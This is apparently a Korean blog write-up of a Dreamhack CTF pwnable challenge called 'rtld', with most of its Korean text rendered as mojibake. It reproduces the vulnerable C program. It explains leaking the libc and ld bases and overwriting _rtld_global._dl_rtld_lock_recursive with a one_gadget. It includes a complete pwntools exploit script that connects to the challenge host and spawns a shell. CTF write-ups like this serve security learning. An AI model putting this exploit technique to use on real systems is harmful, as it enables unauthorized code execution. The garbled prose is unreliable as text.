์ฐธ๊ณ ๋ก rtld๋ return to LD library ๋ผ๊ณ ์ถ์ธกํ์๋ ๋ถ์ด ์์ผ์๋๋ผ๊ณ ์
์ ๋ ์ด๋์ ๋ ๊ทธ๋ฌ์ง ์์๊น?(์ฌ๊ธฐ ๋ก๋๋ฆฌ์์ฒ๋ผ ใ
)
rtld
12345678910111213141516171819202122232425262728293031323334353637383940414243 // gcc -o rtld rtld.c -fPIC -pie#include <stdio.h>#include <stdlib.h>#include <signal.h>#include <unistd.h>#include <dlfcn.h>void alarm_handler() {puts("TIME OUT");exit(-1);}void initialize() {setvbuf(stdin, NULL, _IONBF, 0);setvbuf(stdout, NULL, _IONBF, 0);signal(SIGALRM, alarm_handler);alarm(60);}void get_shell() {system("/bin/sh");}int main(){long addr;long value;initialize();printf("stdout: %p\n", stdout);printf("addr: ");scanf("%ld", &addr);printf("value: ");scanf("%ld", &value);*(long *)addr = value;return 0;}cs
stdout์ด ์ถ๋ ฅ๋๋๊น lib_base๋ฅผ ๊ตฌํ๋ฉฐ, ์์ ์ฃผ์ ์ฐ๊ธฐ ์ทจ์ฝ์ ์ด ์กด์ฌํฉ๋๋ค.
get_shell()ํจ์๊ฐ ์์ผ๋ฏ๋ก..
stdout์ด ์ถ๋ ฅ๋๋๊น lib_base๋ฅผ ๊ตฌํ๋ฉฐ, ์์ ์ฃผ์ ์ฐ๊ธฐ ์ทจ์ฝ์ (์ ์ ํ๋)์ด ์กด์ฌ
get_shell() ํจ์๊ฐ ์์ผ๋ฏ๋ก NX๋ ์ฐํ๋๊ณ ๋๋จธ์ง ์ทจ์ฝ์ ์ ์ธ์๋ก ํ๋๊น ใ
ใ
์ฆ, ์์ ์ฃผ์ ์ฐ๊ธฐ ์ทจ์ฝ์ ์ ์ด์ฉ dl_rtld_lock_recursive๋ฅผ
get_shell()๋ก ๋ฎ์ด ์์ ๋ฐ๋ฉด ์
ธ์ ํ๋ํ ์ ์๊ฒ ์ต๋๋ค.
์๋๋ฉด Partial RELRO๋๊น GOT Overwrite ํด๋ ๋๊ฒ ๋ค์
- _rtld_global._dl_rtld_lock_recursive : func addr
- _rtld_global._dl_load_lock : fun avgs
Exploit ์ฝ๋
1. lib_base & ld_base leak | dl_load_lock & dl_rtld_lock_recursive
์ ์ด๋ฏธ์ง๋ฅผ ๋ณด์๋ฉด libc.so.6(docker์์ ํ์ธ ํ ์ ์๋๊ฑฐ ๊ฐ์๋ฐ ๋์ปค ํ๊ฒฝ ๊ตฌ์ถ ๋ฐ ๊ธฐํ ๊ณต๋ถ.. ใ
)
environ ์ฌ๋ณผ์ ์ฐพ๋ ๋ช
๋ น์ด๋ฅผ ์คํํ ๋ชจ์ต์
๋๋ค.
์คํ ๊ฒฐ๊ณผ๋ฅผ ์ดํด๋ณด๋ฉด, __environ์ด๋ผ๋ ์ด๋ฆ์ ์ ์ญ ๋ณ์๊ฐ ์กด์ฌํฉ๋๋ค.
์ด๋ ์์คํ
๋ช
๋ น์ด๋ฅผ ์คํํ๊ธฐ ์ํ execve ๊ณ์ด์ ํจ์์ getenv ๋ฑ ํ๊ฒฝ๋ณ์์ ๊ด๋ จ๋ ํจ์ ์ฐธ์กฐ ๋ณ์๋ก
๊ทธ๋ ๋ค๋ฉด, ์์ ์ปดํ์ผ ํ ์์ ๋ฅผ ๋๋ฒ๊น
ํ์ฌ ํด๋น ํฌ์ธํฐ์ ์ด๋ค ์ฃผ์๊ฐ ์๋์ง ํ์ธํด๋ด
์๋ค.
์ด _rtld_global._dl_rtld_recursive์๋ libc ์ฃผ์๊ฐ ์ ํ์๋๋ฐ, ์ด ์ฃผ์๋ฅผ one_gadget์ ํ๋ค๋ฉด
RET_Overwrite๊ฐ ๋๊ฒ ์ต๋๋ค. ๊ทธ๋ฆฌ๊ณ libc_base์ ld_base์ ๊ฑฐ๋ฆฌ๋ฅผ ๊ตฌํ๋ฉด..
๊ทธ๊ฒ์ ํ ๋๋ก one-gadget์ผ๋ก ์ต์ค๋ฅผ ์์ฑํด๋ด
์๋ค(๋ค๋ฅธ ๋ฐฉ๋ฒ๋ ์์๊ฑด๋ฐ.. rtld์ ํ์์ผ๋ก)
ํ์ง๋ง ๋ก๋๋ฆฌ์์ผ๋ก ๋ผ์ด๋ธ๋ฌ๋ฆฌ ํจ์์ ๋ณ๋์ด ์๋ค๊ณ ๋ค๋ค ๊ทธ๋ฌ์
์ ๋ฐ๋ก one-gadget์ผ๋ก ใฑ
12345678910111213141516171819202122232425262728293031 from pwn import *p = remote("host3.dreamhack.games", 11820)e = ELF("./rtld", checksec=False)libc = ELF("libc.so.6")ld = ELF("/lib/x86_64-linux-gnu/ld-2.23.so")one_gadget = [0x45216, 0x4526a, 0xf02a4, 0xf1147]#context.log_level = 'debug'p.recvuntil("stdout: ")stdout = int(p.recvuntil("\n"), 16)libc_base = stdout - libc.symbols['_IO_2_1_stdout_']ld_base = libc_base + 0x3ca000rtld_global = ld_base + ld.symbols['_rtld_global']dl_load_lock = rtld_global + 2312dl_rtld_lock_recursive = rtld_global + 3848one = libc_base + one_gadget[3]p.sendlineafter("addr: ", str(dl_rtld_lock_recursive))p.sendlineafter("value: ", str(one))p.interactive()cs
์ฐธ๊ณ ๋ก ์ ๋ ์ ์๋์ Dreamhack Q&A๋ฅผ ์ดํด๋ณด๋ ์ค.. ์ ์๊ฒ ๋ฌด์ง ๋์๋๋..
์ ์ฒ๋ผ ๊ตฌ์กฐ์ฒด์ ์คํ์
๋ฑ์ด ์๋๋ ํ๊ฒฝ์์ ๊ฐ์ถ!(์๋ ๋์ปค๋ก ํ๊ฒฝ ๊ตฌ์ถ์ ํด์ผํ๋๋ฐ)
ld base์ ํด๋น ๋ฒ์ ld์์์ ๊ตฌ์กฐ์ฒด ์คํ์
๋ฌธ์ ์ libc.so.6 ํ์ผ์ ํฌํจ๋์ด ์์ผ๋, ldํ์ผ์ ๋ฐ๋กํฌํจ๋์ด์์ง ์์์ด์ so ํ์ผ์ ์คํ์ ๋ง ๊ฐ์ง๊ณ ํ์ด๊ฐ ๊ฐ๋ฅํ ์ค ์๊ณ ์ฐ๋ถํฌ 18.04 ์์ ํ์ด๋ฅผ ์งํํ๋ค …
dreamhack.io
์ ํด์ ์ฌ์ฉํด ldd์ ๋งํน์ ํจ์นํ๊ธฐ
patchelf
A small utility to modify the dynamic linker and RPATH of ELF executables.
pypi.org
GitHub - NixOS/patchelf: A small utility to modify the dynamic linker and RPATH of ELF executables
A small utility to modify the dynamic linker and RPATH of ELF executables - GitHub - NixOS/patchelf: A small utility to modify the dynamic linker and RPATH of ELF executables
github.com
ํด๋น ํจ์นํ lib์ ํ์ผ
...
์ด ๋ถ๋ถ์ ์์งํ ์ข ์ดํด๊ฐ ์.. ์ค์ต๋ ์๋์ ๋ค์ ํ ๋ฒ ๊ผญ ์ดํด๋ด์ผ๊ฒ ๋ค์
์ฐธ๊ณ ์๋ฃ
์ฐธ๊ณ ์ด๋ฏธ์ง